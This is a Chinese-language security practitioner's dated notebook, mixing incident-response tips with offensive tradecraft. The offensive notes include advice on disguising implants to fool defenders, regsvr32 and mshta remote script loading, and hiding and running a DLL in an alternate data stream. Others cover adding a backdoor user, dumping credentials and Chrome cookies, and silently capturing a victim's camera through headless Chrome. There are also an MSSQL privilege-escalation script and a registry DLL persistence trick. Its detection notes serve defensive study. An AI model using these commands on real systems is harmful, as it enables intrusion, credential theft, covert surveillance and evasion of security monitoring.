2 月
7 号:
docker 容器相关配置/日志存储位置 /var/lib/docker/containers
ELK 指的是 Elasticsearch、Logstash、Kibana三大开源框架,ES 数据库非关系型很容易理解,我们也经常用。Kibana 就是一个数据可视化工具。而其中的 LogStash 出现的目的是将日志传递到 Es 数据库中,可能比较困惑明明有那么多 API,可以让我们直接向 ES 里面写数据,为什么还需要 Logstash 呢?其实他的设计理念就是让我们专注于业务代码,少写 Log 记录逻辑,让原本就输入在终端的日志非侵入式的让 Logstash 帮我们写入 Es 数据库。
SOAP 的测试可以使用 Burp Suite 的 Wsdler 插件快速构造相应的 XML 请求包
8 号:
侥幸心理:如果木马是在某个盘下创建文件夹例如 D:/mytest/mytest.exe
即使通过 EDR 查看请求日志也会猜测是否为员工自己创建文件测试导致的误报。也可以自己新建一个类似于杀毒软件的目录,并把文件改名为杀毒软件的名字,由于杀毒软件正常情况下也会请求恶意的域名,因此告警信息可以迷惑防守方。
另外,我就说将 shellcode 注入到浏览器中,更会让人迷惑不已。
Word、Excel 文档可能遗留用户名、邮件信息,可溯源。
11 号
可以通过注册表的方式查询是否启用了某个宏,具体怎么做,自己搜
12 号
APP 如何判断是否被 Xposed hook。
xposed 框架要 Hook 一个函数,最先改变的就是这个函数的属性,由 java 函数变为了 native 函数。所以我们在判断一个函数是否被 xposed 框架 hook 的第一步就是判断其是否本应是一个 java 函数的函数被置为了 native 函数。
https://goodoak.github.io/2017/01/18/xposed-detect/
也可以通过堆栈调用
public static boolean isXposedInStackTrace() {
StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();
for (StackTraceElement element : stackTrace) {
if (element.getClassName().contains("de.robv.android.xposed")) {
return true;
}
}
return false;
}
13 号:
powershell 列举已经安装的 msi Get-WmiObject -Class Win32_Product
卸载命令:msiexec /x {}
14 号:
居然还有通过修改 C:\Windows\System32\drivers\etc\hosts
文件劫持域名解析与 C2 通信的手法,可以规避黑白名单?
mrt.exe
微软恶意软件删除工具,日志位置:C:\Windows\Debug\mrt.log
18 号:
通常情况下,Windows 机器都会有 csc.exe
,例如 win7 和 win10 的路径为 C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
, 可以上传一个 cs 文件,在目标机器上面编译,删除源文件,再运行 pe(csc 不像 go 可以直接 go run,必须编译出来),由于是本机器编译,或许可以绕过某些检测,也可以考虑钓鱼。
无论使用什么钓鱼方式,运行完后的脚本一定要自删除。
20 号:
Windows 资源监视器真是一个排查进程网络连接的好工具 resmon.exe
,但还是没有记录历史的记录。只能处理事中。建议还是打开 Process Monitor
来捕获一下网络进程(需要等待)。
25 号:
vssadmin.exe
也可以替代 reg 导出 sam 和 system。
3 月
7 号:
使用 Advanced Installer 可以将 exe 等打包为 msi。
icacls.exe
是 Windows 系统中用于查看和修改文件、目录权限的命令行工具。
分配所有人对该 exe 执行、属性读取、删除子项、读取内容、写内容、修改、写属性等权限
icacls "rustup-init.exe" /deny *s-1-1-0:(x,ra,de,r,w,m,wa)
已处理的文件: rustup-init.exe
已成功处理 1 个文件; 处理 0 个文件时失败
一些木马会用,可能是为了持久化操作吧,但是实际上就是这里的 cmd 操作:
10 号:
CobaltStrike 的 C2 Profile 的 pipename 一定得修改!
EtwExplore 这个软件可以相对可视化的查看 ETW 日志。
11 号:
pyinstaller 打包的 PE 运行过程中会释放 dll 或 so,默认在 OS temp 目录。这可以是一个检测 pyinstaller 的特征,但是实际上攻击者可以修改释放路径。具体释放文件名/路径规则我没有深入研究。
12 号:
直到现在,rsrc 仍然是打包 Go PE 资源最合适的方法,例如请求管理员权限配置信息、ico 等。
FullEventLogView.exe 是很好的查看 Windows 日志的可视化工具,支持 XML 内容搜索
13 号:
OriginalFileName 是编译时的文件名,后续修改文件名这个内容一般改变不了,打包在了 resource 字段。
17 号:
chm 文件本身就是一个压缩包。可以编写相应的逻辑调用 hh.exe 解压并执行文件,通常有 ActiveXObject 警告。使用 HTML Help Workshop 可以打包一个 chm 文件,用于钓鱼。
可以通过 sysmon 的 ID 7 查看 image 的 Signed, Signature, SignatureStatus
字段,排查可疑项
dll 代理免杀效果良好
18 号:
绕过 UAC 的方法很多。有时间可以参考这个项目好好整理下:https://github.com/hfiref0x/UACME
sysmon 的 ID 12(删除)、13(值设置)、14(重命名) 与注册表相关,其中 details 字段可以显示一些详细信息,例如设置的值是 dword/qword 的具体数字、但二进制数据不可见。数据类型很多,有时候无法直观筛选。
19 号:
wmic 启动的进程居然是由 WmiPrvSE.exe 启动的。
ProcessHack:
impacket-wmiexec 留下的日志:
25 号:
判断机器上是否存在 Sysmon 相对简单。如果你是管理员权限,可以执行 fltmc.exe 查看是否存在 sysmon 的altitude 385201 号码。甚至可以直接卸载 fltmc unload FilterName
,但是会产生告警。如果不是管理员权限,则可以简单执行 dir %SystemRoot%\System32\Winevt\Logs\ | findstr /I Sysmon
查看是否存在这个文件。
Windows 终端命令执行混淆:https://github.com/danielbohannon/Invoke-DOSfuscation 然而绕不过 Sysmon 的 commandline 检测
31 号:
rundll32.exe DllName,FunctionName [Arguments]
regsvr32.exe /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll
其实是通过 regsvr32 调用 scrobj.dll 的 DllInstall 函数,并且将 url 传递给这个函数。scrobj.dll 的该函数会尝试使用 VBA 引用该 URL 字符串的函数执行。
https://www.freebuf.com/column/224292.html
.sct文件扩展名可以指代几种不同的文件格式,但在 Windows 操作系统的上下文中,最常见的是“Windows Script Component”文件。这是一种用于封装脚本逻辑的文件格式,可以将多种脚本语言(如 VBScript 和 JScript)的代码编译成 COM(组件对象模型)组件。
4 月
1 号:
wsl 代理到本机端口可以使用这个项目:https://github.com/HobaiRiku/wsl2-auto-portproxy 在本机运行 wslpp.exe 即可
7 号:
大文件下载靠断点续传方式维持下载状态。https://zhuanlan.zhihu.com/p/20182657805
如 Range 头。
GET /largefile.zip HTTP/1.1
Host: example.com
Range: bytes=1000-
8 号:
.SCR 后缀介绍:屏幕保护程序,实际就是 PE 文件
- 利用方式:攻击者可以通过执行由用户不活动触发的恶意内容来建立持久性。屏幕保护程序是在用户不活动一段可配置的时间后执行的程序,由可移植可执行 (PE) 文件组成,文件扩展名为 .scr。Windows 屏幕保护程序应用程序 scrnsave.scr 位于
C:\Windows\System32\
。如果你权限够,就可考虑替换,反正这个文件默认没有数字签名 - 也可以用于权限维持:https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.002/T1546.002.md 关键键值: “HKCU\Control Panel\Desktop”
.PIF 后缀介绍:程序信息文件定义了给定 DOS 程序在多任务环境中的运行方式,特别是为了避免为其提供不必要的资源,而这些资源可能仍可供其他程序使用。由于缺乏 DOS 应用程序,如今 PIF 在软件中很少使用。
- 基于 DOS 的程序的程序信息文件是程序可执行文件的快捷方式。PIF 中保存的所有设置都包含在快捷方式中。
- 尽管 PIF 格式的文件不包含任何可执行代码(它缺少可执行文件“MZ”),但 Microsoft Windows 以相同的方式处理所有带有(伪)可执行文件扩展名的文件:所有 .COM、.EXE 和 .PIF 都由 ShellExecute 函数进行分析,并根据其内容而不是扩展名运行
14 号:
curl 命令记得加超时参数 --connect-timeout 5
,有些该死的可以命令执行的 Web 应用居然是靠单线程,curl 默认无限等待,然后这个 Web 应用就卡死了。权限也丢了。
5 月
24 号:
.cpl 实际上就是个 dll 文件;.cpl 利用:https://tttang.com/archive/1047/
检测:当用鼠标双击时,会先执行 control.exe file.cpl
然后再执行 rundll32.exe shell32.dll,Control_RunDLL file.cpl
;监控 shell32.dll 中的Control_RunDLL
APIControlRunDLLAsUser
函数
6 月
10 号:
powershell 激活默认用户
powershell.exe /c net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccou
如果攻击者将一个名为“net.com”的程序与“net.exe”放在同一目录中,cmd.exe /C net user
由于 PATHEXT 下定义的可执行扩展名顺序,系统将执行“net.com”而不是“net.exe”。
备用数据流实现隐藏文件:
echo hahaha > test.txt
type evil.dll > test.txt:anything
dir /R
2025/06/10 16:51 8 test.txt
6 test.txt:anything:$DATA
more < test.txt:hidden:$DATA
MZ...
-- 想要执行 --
certutil -encode test.txt:anything temp.b64
certutil -decode temp.b64 temp.dll
rundll32.exe temp.dll,main
del temp.dll
del temp.b64
-- 删除流 --
powershell Remove-Item -Path .\test.txt -Stream *
-- APT --
cmd /k "cmd < ~tmp.pdf:Participation & exit"
11 号:
PDF 镶嵌链接+白名单域名重定向,也是一种不错的钓鱼方式
无文件的利用方式无外乎是到内存,还有 Windows 注册表
13 号:
T1555.004
Windows 凭据管理器是内置于 Windows 操作系统中的一个安全的密码保险库,它负责存储您访问各种网络资源、网站和应用程序时所需的登录信息(即“凭据”),例如包含 TERMSRV 的用户名和密码,我们可以使用 vaultcmd.exe 命令进行列举。也可以使用 https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1 进行读取所有存储的凭证。
dllhost.exe 排查思路:1. 使用 Process 工具查看 dllhost.exe 的命令行,一般是 C:\Windows\system32\DllHost.exe /Processid:<clsid>
2. 获取到 clsid 后,打开注册表 ctrl+F 搜索 <clsid>
。3. 定位相关子项和值,可以找到真正执行的 dll 或者 exe
22 号:
检测恶意的 ipconfig 命令可以通过寻找 ipconfig 的祖辈进程判断是否为 explorer.exe,如果不是,则很大概率为可疑的木马
Kali 中使用 pypykatz
这个工具可完美的导出 lsa,并且支持 Windows 11 24H2
pypykatz lsa minidump lsass.exe.dmp
参考:https://www.vidrasec.com/blog/dump-hashes-in-windows-11-24h2/
23 号:
Chrome 浏览器插件存储位置:C:\Users\<用户名>\AppData\Local\Google\Chrome\User Data\Default\Extensions
查看浏览器对应的 ID 下的文件夹,就是代码
Edge 浏览器插件存储位置:C:\Users\<用户名>\AppData\Local\Microsoft\Edge\User Data\Default\Extensions
查看浏览器对应的 ID 下的文件夹,就是代码
26 号:
everything 语法: content:xx
查询文本内容,应急的时候可用到
Sysmon ID 7 中 Signed 指示文件是否存在数字签名,SignatureStatus 指示数字签名的有效性状态。因此我们可以筛选 Signed == false 或则 Signed == True && SignatureStatus == Invalid 的 dll 文件进行分析判断是否可能被入侵。
27 号:
svchost.exe 是服务宿主进程。可以使用 ProcessExplorer 查看属性中的服务,展现了对应的 dll 或者 exe 文件。但是一般情况下,Ping 某个域名也会走的 svchost.exe 发起网络外联(网络服务相关),因此排查相对困难。
7 月
17 号:
msi 是一个关系数据库,本身并不是恶意文件,用来指示携带了哪些文件以及文件的安装的方式。发现一个超级好用的分析 msi 文件的工具:https://github.com/mgeeky/msidump, 列举 msi 的 table 字段,可以比较容易的看出 msi 释放的文件、路径等信息,虽然也有一定提取二进制流的能力,但是效果不明显。
18 号:
白+黑还可以用来绕过 smartscreen
22 号:
Kali 上连接 mssql 的方法可以使用 impacket-mssqlclient
和 mssqlpwner
mssql server 从 db_owner 到 sysadmin 权限的方法:https://www.netspi.com/blog/technical-blog/network-pentesting/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/
// 第一步寻找受信任的数据库
SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;
// 第二步使用该数据库
USE XXX;
// 第三步,判断当前用户在该数据库是否为 db_owner
SELECT IS_MEMBER('db_owner') AS IsDbOwner;
// 如果是,则可利用
CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNERAS EXEC sp_addsrvrolemember 'MyAppUser','sysadmin'
// 提权到 sysadmin
EXEC sp_elevate_me;
逆向 Pyinstaller 打包的 exe 的工具:https://github.com/extremecoders-re/pyinstxtractor
23 号:
https://obfuscator.io/ 可用于混淆 JavaScript 的代码
8 月
12 日:
我知道为什么一些人钓鱼的快捷方式里面喜欢先用 conhost.exe 了。他们在 conhost.exe 里面加上 --headless
再调用其它进程的时候就不会有窗口。例如:
C:\Windows\System32\conhost.exe --headless cmd.exe /c calc.exe
在整理一些笔记,发现了这个脚本,作用是当你获取了对方的 Cookies 文件和 AES Key 时,可在本地解密 Cookie。Crypto 库安装有一点坑,记得搜索。decrypto_chrome_cookie_file.py
但自从 127 版本后的 Chrome 解密 Cookie 通过 Application-Bound。你可以参考: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
你可能会问我怎么获取 AES KEY,方法很多,这里给两种。第一种将如下代码编译并且拷贝到 Chrome 安装目录,如 C:\Program Files\Google\Chrome\Application
运行(需要用户管理员权限!!记得降权或者提权,不推荐)Get_Chrome_AES_KEY.c
如果上述方法不奏效,请你参考:https://github.com/runassu/chrome_v20_decryption (135、137 版本都有变化)
第二种,直接使用 https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption 该项目。
13 号:
JDWP(Java Debug Wire Protocol),一个 Java 调试协议,如果端口对外开放,可以 RCE。使用 nmap 可以探测到指纹(JDWP-Handshake)。利用可以参考:https://l3yx.github.io/2023/12/03/%E9%80%9A%E8%BF%87JDWP%E6%BC%8F%E6%B4%9E%E6%B3%A8%E5%85%A5%E4%B8%8D%E4%B8%80%E6%A0%B7%E7%9A%84%E5%86%85%E5%AD%98%E9%A9%AC/
14 号:
谷歌浏览器窃取摄像头信息。当控制终端后可以输入如下命令,无头且无需用户授权摄像头权限。
"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --auto-accept-camera-and-microphone-capture "https://example/"
查看域名的 txt 可以使用
dig txt f0rget.me
16 号:
微软系统中心配置管理器(Microsoft System Center Configuration Manager,英文缩写SCCM,也称为ConfigMgr 的利用主要是通过 SCCM 不安全的配置进行中继反射从而横向 (responder-MultiRelay),或者是已经拿下 SCCM 管理点且是管理员用户下发恶意的程序。
利用的环境检查:是否存在 ccmexec.exe 进程或者 ConfigMgr 服务,一般只有在域环境下会存在。
常见的利用工具为 SharpSCCM,其作者发现作者发现当 SCCM 启用自动站点分配和自动客户端推送安装,并且客户端身份验证不需要 PKI 证书时,可以将 NTLM 身份验证从管理点的安装和计算机账户强制转换为任意 NetBIOS 名称、FQDN 或 IP 地址,允许凭据转发或破解,并且可以在任何 Windows SCCM 客户端上的低权限用户来完成。
17 号:
1768.py 可以用来分析 CobaltStrike 的 beacon 配置。
19 号:
unicode 的类空格早就在钓鱼文件里用到了,但是今天却发现有人用于路径伪装,比如 C 盘是允许普通用户创建文件夹的,就创建一个
c:\Program Files
比如这里用到的是 U+200A 细空格
27 号:
使用 mshta.exe 从远程加载 hta 需要让服务器返回对应的 Content-Type 头,可以修改 Nginx 配置文件
location ~ \.hta$ {
root /var/www/html;
default_type application/hta;
add_header Content-Type "application/hta";
}
28 号:
MotW(Mark of the Web)是 Windows 的安全功能,当用户通过浏览器从外部网站下载文件到本地时,本地文件的属性会打上安全标记
9 月
1 号:
VAD (Virtual Address Descriptor)是用来描述某一段虚拟地址空间(虚拟内存区域)的结构,比如起始地址、结束地址、保护属性(读/写/执行)、对应文件映射等。内核用 VAD 树,一棵平衡二叉树(在现代 Windows 里是 AVL tree)来管理这些 VAD 节点。VAD 树属于内核态。用户态可以用 VirtualQueryEx 来间接拿到 VAD 的信息。
JIT (Just-In-Time compilation,即时编译)在运行时动态生成机器码,这些机器码会存放在进程的匿名内存块里(通常是 MEM_PRIVATE
类型的虚拟内存区域)。攻击者也喜欢模仿 JIT 的方式,把 payload 放到匿名内存(VirtualAlloc
+ PAGE_EXECUTE_READWRITE
)然后执行。
WDAC 策略是一种基于Windows 的安全机制,它通过创建“白名单”来严格限制在系统上可运行的应用程序和代码,以防止恶意软件和未授权程序。可以滥用这个策略以禁用安全软件进程,但是需要管理员权限且重启电脑才生效,因此我认为比较鸡肋。
2 号:
licensingdiag.exe
在运行时会加载 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LicensingDiag
下的所有 dll 文件。利用这种方式则可以利用注册表在 LicensingDiag
下创建任意字符串的键,键值为需要执行的 DLL 绝对路径即可。可以用于防御规避。需要管理员权限。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LicensingDiag" /v test /t REG_SZ /d "C:\Windows\Temp\test.dll" /f
不过还是建议你所使用的 dll 完成这个导出函数
extern "C" __declspec(dllexport) int InitializeCollector(void* a, void* b)
{
system("start notepad");
return 1;
}